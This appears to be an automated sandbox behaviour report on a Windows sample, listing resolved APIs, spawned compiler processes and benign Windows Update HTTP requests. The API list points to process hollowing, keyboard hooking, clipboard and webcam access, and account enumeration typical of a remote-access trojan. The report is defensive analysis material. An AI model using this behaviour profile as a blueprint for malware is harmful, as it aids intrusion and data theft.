D9E102F768A837204B9EEAA669CC2468

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
clr.dll.SetRuntimeInfo
clr.dll._CorExeMain
mscoree.dll.CreateConfigStream
mscoreei.dll.CreateConfigStream
kernel32.dll.GetNumaHighestNodeNumber
kernel32.dll.GetSystemWindowsDirectoryW
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddSIDToBoundaryDescriptor
kernel32.dll.CreateBoundaryDescriptorW
kernel32.dll.CreatePrivateNamespaceW
kernel32.dll.OpenPrivateNamespaceW
kernel32.dll.DeleteBoundaryDescriptor
kernel32.dll.WerRegisterRuntimeExceptionModule
kernel32.dll.RaiseException
mscoree.dll.#24
mscoreei.dll.#24
ntdll.dll.NtSetSystemInformation
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
kernel32.dll.GetNativeSystemInfo
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
clrjit.dll.sxsJitStartup
clrjit.dll.getJit
kernel32.dll.CloseHandle
kernel32.dll.GetCurrentProcess
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetUserPreferredUILanguages
nlssorting.dll.SortGetHandle
nlssorting.dll.SortCloseHandle
kernel32.dll.GetTempPathW
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
kernel32.dll.GetFullPathNameW
cryptsp.dll.CryptGetDefaultProviderW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
kernel32.dll.SetThreadErrorMode
kernel32.dll.CreateFileW
kernel32.dll.GetFileType
kernel32.dll.WriteFile
kernel32.dll.GetFileAttributesExW
kernel32.dll.GetCurrentDirectoryW
kernel32.dll.GetStdHandle
kernel32.dll.GetEnvironmentStrings
kernel32.dll.GetEnvironmentStringsW
kernel32.dll.FreeEnvironmentStringsW
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.CreateProcessW
kernel32.dll.DuplicateHandle
kernel32.dll.GetExitCodeProcess
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
kernel32.dll.DeleteFileW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
kernel32.dll.FindResourceA
kernel32.dll.SizeofResource
kernel32.dll.LoadResource
kernel32.dll.LockResource
gdiplus.dll.GdiplusStartup
kernel32.dll.IsProcessorFeaturePresent
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayMonitors
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipCreateBitmapFromStream
windowscodecs.dll.DllGetClassObject
kernel32.dll.WerRegisterMemoryBlock
gdiplus.dll.GdipImageForceValidation
gdiplus.dll.GdipGetImageRawFormat
gdiplus.dll.GdipGetImageWidth
gdiplus.dll.GdipGetImageHeight
gdiplus.dll.GdipBitmapGetPixel
shell32.dll.SHGetFolderPathW
kernel32.dll.CompareStringOrdinal
clr.dll.CreateAssemblyNameObject
ole32.dll.CoGetObjectContext
sechost.dll.LookupAccountNameLocalW
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
clr.dll.CreateAssemblyEnum
kernel32.dll.ResolveLocaleName
kernel32.dll.LoadLibraryA
kernel32.dll.WideCharToMultiByte
kernel32.dll.GetProcAddress
kernel32.dll.GetModuleHandleA
advapi32.dll.LookupPrivilegeValueW
advapi32.dll.AdjustTokenPrivileges
ntdll.dll.NtQuerySystemInformation
kernel32.dll.CreateProcessA
kernel32.dll.GetThreadContext
kernel32.dll.Wow64GetThreadContext
kernel32.dll.SetThreadContext
kernel32.dll.Wow64SetThreadContext
kernel32.dll.ReadProcessMemory
kernel32.dll.WriteProcessMemory
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.VirtualAllocEx
kernel32.dll.ResumeThread
ole32.dll.CoUninitialize
oleaut32.dll.#500
advapi32.dll.EventUnregister
gdiplus.dll.GdipDisposeImage
cryptsp.dll.CryptReleaseContext
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
kernel32.dll.QueryActCtxW
kernel32.dll.GetProcessPreferredUILanguages
kernel32.dll.GetUserDefaultUILanguage
version.dll.GetFileVersionInfoSizeA
version.dll.GetFileVersionInfoA
version.dll.VerQueryValueA
alink.dll.CreateALink
mscoree.dll.CLRCreateInstance
mscoreei.dll.CLRCreateInstance
cryptsp.dll.CryptAcquireContextA
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
clr.dll.DllGetClassObjectInternal
clr.dll.StrongNameTokenFromPublicKey
clr.dll.StrongNameFreeBuffer
clr.dll.CompareAssemblyIdentityWithConfig
clr.dll.CreateAssemblyConfigCookie
clr.dll.DestroyAssemblyConfigCookie
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptExportKey
cryptsp.dll.CryptDestroyKey
mscorpehost.dll.InitializeSxS
mscorpehost.dll.CreateICeeFileGen
mscorpehost.dll.DestroyICeeFileGen
ole32.dll.CoCreateGuid
diasymreader.dll.DllGetClassObject
rpcrt4.dll.UuidCreate
kernel32.dll.NlsGetCacheUpdateCount
ole32.dll.CreateStreamOnHGlobal
mscoree.dll.CorExitProcess
mscoreei.dll.CorExitProcess
msvbvm60.dll.EVENT_SINK_GetIDsOfNames
msvbvm60.dll.#697
msvbvm60.dll.MethCallEngine
msvbvm60.dll.EVENT_SINK_Invoke
msvbvm60.dll.#516
msvbvm60.dll.#517
msvbvm60.dll.#518
msvbvm60.dll.#519
msvbvm60.dll.#626
msvbvm60.dll.#553
msvbvm60.dll.#660
msvbvm60.dll.#556
msvbvm60.dll.#665
msvbvm60.dll.#666
msvbvm60.dll.Zombie_GetTypeInfo
msvbvm60.dll.#592
msvbvm60.dll.#593
msvbvm60.dll.#594
msvbvm60.dll.#301
msvbvm60.dll.#302
msvbvm60.dll.#702
msvbvm60.dll.#598
msvbvm60.dll.#520
msvbvm60.dll.#307
msvbvm60.dll.#521
msvbvm60.dll.#308
msvbvm60.dll.#522
msvbvm60.dll.#709
msvbvm60.dll.#631
msvbvm60.dll.#525
msvbvm60.dll.#632
msvbvm60.dll.#526
msvbvm60.dll.EVENT_SINK_AddRef
msvbvm60.dll.#527
msvbvm60.dll.#528
msvbvm60.dll.#561
msvbvm60.dll.DllFunctionCall
msvbvm60.dll.#670
msvbvm60.dll.Zombie_GetTypeInfoCount
msvbvm60.dll.EVENT_SINK_Release
msvbvm60.dll.#601
msvbvm60.dll.EVENT_SINK_QueryInterface
msvbvm60.dll.__vbaExceptHandler
msvbvm60.dll.#711
msvbvm60.dll.#712
msvbvm60.dll.#713
msvbvm60.dll.#606
msvbvm60.dll.#714
msvbvm60.dll.#607
msvbvm60.dll.#608
msvbvm60.dll.#716
msvbvm60.dll.#717
msvbvm60.dll.#319
msvbvm60.dll.ProcCallEngine
msvbvm60.dll.#535
msvbvm60.dll.#536
msvbvm60.dll.#537
msvbvm60.dll.#644
msvbvm60.dll.#648
msvbvm60.dll.#572
msvbvm60.dll.#573
msvbvm60.dll.#681
msvbvm60.dll.#577
msvbvm60.dll.#578
msvbvm60.dll.#685
msvbvm60.dll.#100
msvbvm60.dll.#320
msvbvm60.dll.#321
msvbvm60.dll.#616
msvbvm60.dll.#617
msvbvm60.dll.#618
msvbvm60.dll.#619
msvbvm60.dll.#542
msvbvm60.dll.#543
msvbvm60.dll.#544
msvbvm60.dll.#545
msvbvm60.dll.#546
msvbvm60.dll.#547
msvbvm60.dll.#581
uxtheme.dll.ThemeInitApiHook
user32.dll.IsProcessDPIAware
oleaut32.dll.OleLoadPictureEx
oleaut32.dll.DispCallFunc
oleaut32.dll.LoadTypeLibEx
oleaut32.dll.UnRegisterTypeLib
oleaut32.dll.CreateTypeLib2
oleaut32.dll.VarDateFromUdate
oleaut32.dll.VarUdateFromDate
oleaut32.dll.GetAltMonthNames
oleaut32.dll.VarNumFromParseNum
oleaut32.dll.VarParseNumFromStr
oleaut32.dll.VarDecFromR4
oleaut32.dll.VarDecFromR8
oleaut32.dll.VarDecFromDate
oleaut32.dll.VarDecFromI4
oleaut32.dll.VarDecFromCy
oleaut32.dll.VarR4FromDec
oleaut32.dll.GetRecordInfoFromTypeInfo
oleaut32.dll.GetRecordInfoFromGuids
oleaut32.dll.SafeArrayGetRecordInfo
oleaut32.dll.SafeArraySetRecordInfo
oleaut32.dll.SafeArrayGetIID
oleaut32.dll.SafeArraySetIID
oleaut32.dll.SafeArrayCopyData
oleaut32.dll.SafeArrayAllocDescriptorEx
oleaut32.dll.SafeArrayCreateEx
oleaut32.dll.VarFormat
oleaut32.dll.VarFormatDateTime
oleaut32.dll.VarFormatNumber
oleaut32.dll.VarFormatPercent
oleaut32.dll.VarFormatCurrency
oleaut32.dll.VarWeekdayName
oleaut32.dll.VarMonthName
oleaut32.dll.VarAdd
oleaut32.dll.VarAnd
oleaut32.dll.VarCat
oleaut32.dll.VarDiv
oleaut32.dll.VarEqv
oleaut32.dll.VarIdiv
oleaut32.dll.VarImp
oleaut32.dll.VarMod
oleaut32.dll.VarMul
oleaut32.dll.VarOr
oleaut32.dll.VarPow
oleaut32.dll.VarSub
oleaut32.dll.VarXor
oleaut32.dll.VarAbs
oleaut32.dll.VarFix
oleaut32.dll.VarInt
oleaut32.dll.VarNeg
oleaut32.dll.VarNot
oleaut32.dll.VarRound
oleaut32.dll.VarCmp
oleaut32.dll.VarDecAdd
oleaut32.dll.VarDecCmp
oleaut32.dll.VarBstrCat
oleaut32.dll.VarCyMulI4
oleaut32.dll.VarBstrCmp
ole32.dll.CoCreateInstanceEx
ole32.dll.CLSIDFromProgIDEx
sxs.dll.SxsOleAut32MapIIDOrCLSIDToTypeLibrary
user32.dll.GetSystemMetrics
user32.dll.MonitorFromWindow
user32.dll.MonitorFromRect
user32.dll.MonitorFromPoint
advapi32.dll.LookupPrivilegeValueA
kernel32.dll.RtlMoveMemory
kernel32.dll.GetVersionExA
kernel32.dll.GetVolumeInformationA
advapi32.dll.RegOpenKeyExA
advapi32.dll.RegQueryValueExA
kernel32.dll.GetModuleFileNameW
kernel32.dll.SetFilePointer
kernel32.dll.CreateMutexA
user32.dll.GetLastInputInfo
iphlpapi.dll.GetBestInterface
iphlpapi.dll.GetIfTable
user32.dll.OpenClipboard
user32.dll.CountClipboardFormats
user32.dll.EnumClipboardFormats
user32.dll.CloseClipboard
user32.dll.IsClipboardFormatAvailable
user32.dll.GetClipboardData
kernel32.dll.GlobalSize
kernel32.dll.GlobalLock
kernel32.dll.GlobalUnlock
oleaut32.dll.SysReAllocStringLen
kernel32.dll.lstrlenW
kernel32.dll.GetFileAttributesW
kernel32.dll.MoveFileExW
advapi32.dll.RegSetValueExW
user32.dll.SetWindowsHookExA
wininet.dll.InternetGetConnectedState
rasapi32.dll.RasConnectionNotificationW
sechost.dll.NotifyServiceStatusChangeA
wininet.dll.InternetCheckConnectionA
oleaut32.dll.#8
oleaut32.dll.#12
shlwapi.dll.StrRChrA
shlwapi.dll.StrCmpNW
oleaut32.dll.#4
oleaut32.dll.#6
oleaut32.dll.#9
shlwapi.dll.#153
shlwapi.dll.StrStrIA
ws2_32.dll.GetAddrInfoW
user32.dll.MsgWaitForMultipleObjects
ws2_32.dll.WSASocketW
ws2_32.dll.#2
ws2_32.dll.#21
ws2_32.dll.#9
ws2_32.dll.WSAIoctl
ws2_32.dll.FreeAddrInfoW
ws2_32.dll.#6
ws2_32.dll.#5
schannel.dll.SpUserModeInitialize
advapi32.dll.RegCreateKeyExW
ws2_32.dll.WSASend
ws2_32.dll.WSARecv
secur32.dll.FreeContextBuffer
ncrypt.dll.SslOpenProvider
ncrypt.dll.GetSChannelInterface
bcryptprimitives.dll.GetHashInterface
ncrypt.dll.SslIncrementProviderReferenceCount
ncrypt.dll.SslImportKey
bcryptprimitives.dll.GetCipherInterface
ncrypt.dll.SslLookupCipherSuiteInfo
user32.dll.LoadStringW
ncrypt.dll.BCryptOpenAlgorithmProvider
ncrypt.dll.BCryptGetProperty
ncrypt.dll.BCryptCreateHash
ncrypt.dll.BCryptHashData
ncrypt.dll.BCryptFinishHash
ncrypt.dll.BCryptDestroyHash
crypt32.dll.CertGetCertificateChain
userenv.dll.GetUserProfileDirectoryW
sechost.dll.ConvertSidToStringSidW
user32.dll.PeekMessageA
user32.dll.TranslateMessage
user32.dll.DispatchMessageA
sechost.dll.ConvertStringSidToSidW
userenv.dll.RegisterGPNotification
gpapi.dll.RegisterGPNotificationInternal
sechost.dll.OpenSCManagerW
sechost.dll.OpenServiceW
sechost.dll.CloseServiceHandle
sechost.dll.QueryServiceConfigW
cryptsp.dll.CryptVerifySignatureA
cryptnet.dll.CryptRetrieveObjectByUrlW
cryptnet.dll.I_CryptNetGetConnectivity
sensapi.dll.IsNetworkAlive
winhttp.dll.WinHttpOpen
winhttp.dll.WinHttpSetTimeouts
winhttp.dll.WinHttpSetOption
winhttp.dll.WinHttpCrackUrl
winhttp.dll.WinHttpConnect
winhttp.dll.WinHttpOpenRequest
winhttp.dll.WinHttpGetDefaultProxyConfiguration
winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser
winhttp.dll.WinHttpSendRequest
winhttp.dll.WinHttpReceiveResponse
winhttp.dll.WinHttpQueryHeaders
winhttp.dll.WinHttpQueryDataAvailable
ws2_32.dll.#22
winhttp.dll.WinHttpReadData
ws2_32.dll.#3
winhttp.dll.WinHttpCloseHandle
cryptnet.dll.I_CryptNetSetUrlCacheFlushInfo
setupapi.dll.SetupIterateCabinetW
kernel32.dll.RegOpenKeyExW
kernel32.dll.RegCloseKey
cabinet.dll.#20
cabinet.dll.#22
cabinet.dll.#23
sechost.dll.QueryServiceConfigA
sechost.dll.QueryServiceStatus
rpcrt4.dll.RpcStringBindingComposeA
rpcrt4.dll.RpcBindingFromStringBindingA
rpcrt4.dll.RpcEpResolveBinding
rpcrt4.dll.RpcBindingSetAuthInfoExW
rpcrt4.dll.RpcStringFreeA
rpcrt4.dll.NdrClientCall2
rpcrt4.dll.RpcBindingFree
crypt32.dll.CertVerifyCertificateChainPolicy
crypt32.dll.CertFreeCertificateChain
crypt32.dll.CertDuplicateCertificateContext
ncrypt.dll.SslEncryptPacket
ncrypt.dll.SslDecryptPacket
ole32.dll.GetHGlobalFromStream
iphlpapi.dll.GetIpAddrTable
kernel32.dll.GetComputerNameW
advapi32.dll.GetUserNameW
shell32.dll.IsUserAnAdmin
oleaut32.dll.#2
kernel32.dll.GetThreadPreferredUILanguages
kernel32.dll.SetThreadPreferredUILanguages
kernel32.dll.GetSystemDefaultLocaleName
sxs.dll.SxsOleAut32RedirectTypeLibrary
advapi32.dll.RegOpenKeyW
advapi32.dll.RegEnumKeyW
advapi32.dll.RegQueryValueW
sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid
oleaut32.dll.#283
oleaut32.dll.#284
avicap32.dll.capGetDriverDescriptionW
user32.dll.GetForegroundWindow
user32.dll.GetWindowTextW
kernel32.dll.FlushFileBuffers
kernel32.dll.SetFileAttributesW
ntdll.dll.EtwUnregisterTraceGuids
oleaut32.dll.#202
oleaut32.dll.#201
crypt32.dll.CertFreeCertificateContext
ncrypt.dll.SslDecrementProviderReferenceCount
ncrypt.dll.SslFreeObject
vssapi.dll.CreateWriter
advapi32.dll.LookupAccountNameW
samcli.dll.NetLocalGroupGetMembers
samlib.dll.SamConnect
rpcrt4.dll.NdrClientCall3
rpcrt4.dll.RpcStringBindingComposeW
rpcrt4.dll.RpcBindingFromStringBindingW
rpcrt4.dll.RpcStringFreeW
samlib.dll.SamOpenDomain
samlib.dll.SamLookupNamesInDomain
samlib.dll.SamOpenAlias
samlib.dll.SamFreeMemory
samlib.dll.SamCloseHandle
samlib.dll.SamGetMembersInAlias
netutils.dll.NetApiBufferFree
samlib.dll.SamEnumerateDomainsInSamServer
samlib.dll.SamLookupDomainInSamServer
ole32.dll.StringFromCLSID
oleaut32.dll.#7
propsys.dll.VariantToPropVariant
wbemcore.dll.Reinitialize
wbemsvc.dll.DllGetClassObject
wbemsvc.dll.DllCanUnloadNow
authz.dll.AuthzInitializeContextFromToken
authz.dll.AuthzInitializeObjectAccessAuditEvent2
authz.dll.AuthzAccessCheck
authz.dll.AuthzFreeAuditEvent
authz.dll.AuthzFreeContext
authz.dll.AuthzInitializeResourceManager
authz.dll.AuthzFreeResourceManager
rpcrt4.dll.RpcBindingCreateW
rpcrt4.dll.RpcBindingBind
rpcrt4.dll.I_RpcMapWin32Status
advapi32.dll.EventWrite
kernel32.dll.RegSetValueExW
kernel32.dll.RegQueryValueExW
wmisvc.dll.IsImproperShutdownDetected
wevtapi.dll.EvtRender
wevtapi.dll.EvtNext
wevtapi.dll.EvtClose
wevtapi.dll.EvtQuery
wevtapi.dll.EvtCreateRenderContext
rpcrt4.dll.RpcBindingSetOption
ole32.dll.CoCreateFreeThreadedMarshaler
kernelbase.dll.InitializeAcl
kernelbase.dll.AddAce
sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW
kernel32.dll.IsThreadAFiber
kernel32.dll.OpenProcessToken
kernelbase.dll.GetTokenInformation
kernelbase.dll.DuplicateTokenEx
kernelbase.dll.AdjustTokenPrivileges
kernelbase.dll.AllocateAndInitializeSid
kernelbase.dll.CheckTokenMembership
kernel32.dll.SetThreadToken
oleaut32.dll.#285
oleaut32.dll.#286
ole32.dll.CLSIDFromString
oleaut32.dll.#17
oleaut32.dll.#20
oleaut32.dll.#19
oleaut32.dll.#25
ole32.dll.CoRevertToSelf
advapi32.dll.LogonUserExExW
sspicli.dll.LogonUserExExW
authz.dll.AuthzInitializeContextFromSid
ole32.dll.CoGetCallContext
ole32.dll.CoImpersonateClient
advapi32.dll.OpenThreadToken
ole32.dll.CoSwitchCallContext
oleaut32.dll.#287
oleaut32.dll.#288
oleaut32.dll.#289
ntmarta.dll.GetMartaExtensionInterface
fastprox.dll.DllGetClassObject
fastprox.dll.DllCanUnloadNow
oleaut32.dll.#290
winbrand.dll.BrandingLoadString
security.dll.InitSecurityInterfaceW
cryptsp.dll.SystemFunction035
ntdll.dll.RtlInitUnicodeString
ntdll.dll.RtlFreeUnicodeString
ntdll.dll.NtSetSystemEnvironmentValue
ntdll.dll.NtQuerySystemEnvironmentValue
ntdll.dll.NtCreateFile
ntdll.dll.NtQueryDirectoryObject
ntdll.dll.NtQueryObject
ntdll.dll.NtOpenDirectoryObject
ntdll.dll.NtQueryInformationProcess
ntdll.dll.NtQueryInformationToken
ntdll.dll.NtOpenFile
ntdll.dll.NtClose
ntdll.dll.NtFsControlFile
ntdll.dll.NtQueryVolumeInformationFile
netapi32.dll.NetGroupEnum
netapi32.dll.NetGroupGetInfo
netapi32.dll.NetGroupSetInfo
netapi32.dll.NetLocalGroupGetInfo
netapi32.dll.NetLocalGroupSetInfo
netapi32.dll.NetGroupGetUsers
netapi32.dll.NetLocalGroupGetMembers
netapi32.dll.NetLocalGroupEnum
netapi32.dll.NetShareEnum
netapi32.dll.NetShareGetInfo
netapi32.dll.NetShareAdd
netapi32.dll.NetShareEnumSticky
netapi32.dll.NetShareSetInfo
netapi32.dll.NetShareDel
netapi32.dll.NetShareDelSticky
netapi32.dll.NetShareCheck
netapi32.dll.NetUserEnum
netapi32.dll.NetUserGetInfo
netapi32.dll.NetUserSetInfo
netapi32.dll.NetApiBufferFree
netapi32.dll.NetQueryDisplayInformation
netapi32.dll.NetServerSetInfo
netapi32.dll.NetServerGetInfo
netapi32.dll.NetGetDCName
netapi32.dll.NetWkstaGetInfo
netapi32.dll.NetGetAnyDCName
netapi32.dll.NetServerEnum
netapi32.dll.NetUserModalsGet
netapi32.dll.NetScheduleJobAdd
netapi32.dll.NetScheduleJobDel
netapi32.dll.NetScheduleJobEnum
netapi32.dll.NetScheduleJobGetInfo
netapi32.dll.NetUseGetInfo
netapi32.dll.NetEnumerateTrustedDomains
netapi32.dll.DsGetDcNameW
netapi32.dll.DsRoleGetPrimaryDomainInformation
netapi32.dll.DsRoleFreeMemory
netapi32.dll.NetRenameMachineInDomain
netapi32.dll.NetJoinDomain
netapi32.dll.NetUnjoinDomain
wkscli.dll.NetWkstaGetInfo
cscapi.dll.CscNetApiGetInterface
kernel32.dll.GetDiskFreeSpaceExW
kernel32.dll.GetVolumePathNameW
kernel32.dll.CreateToolhelp32Snapshot
kernel32.dll.Thread32First
kernel32.dll.Thread32Next
kernel32.dll.Process32First
kernel32.dll.Process32Next
kernel32.dll.Module32First
kernel32.dll.Module32Next
kernel32.dll.Heap32ListFirst
kernel32.dll.GlobalMemoryStatusEx
kernel32.dll.GetSystemDefaultUILanguage
oleaut32.dll.#15
oleaut32.dll.#26

Execute Commands

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Seven01\AppData\Local\Temp\by314zfe.cmdline"
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Seven01\AppData\Local\Temp\RESB17D.tmp" "c:\Users\Seven01\AppData\Local\Temp\CSCA6142ECCF3674536A7F165D12EA292E.TMP"
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-04-23 13:32:08 2018-04-23 13:35:03 175

4 HTTP Request(s) detected

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 8.253.207.121
  • Port: 80
  • Count: 26

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86400
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 8.253.207.121
  • Port: 80
  • Count: 7

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86401
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 8.253.207.121
  • Port: 80
  • Count: 1

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86450
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 8.253.207.121
  • Port: 80
  • Count: 1

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86404
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

#infosec #automation

TheSystem Itself @ 2018-04-23 13:33:40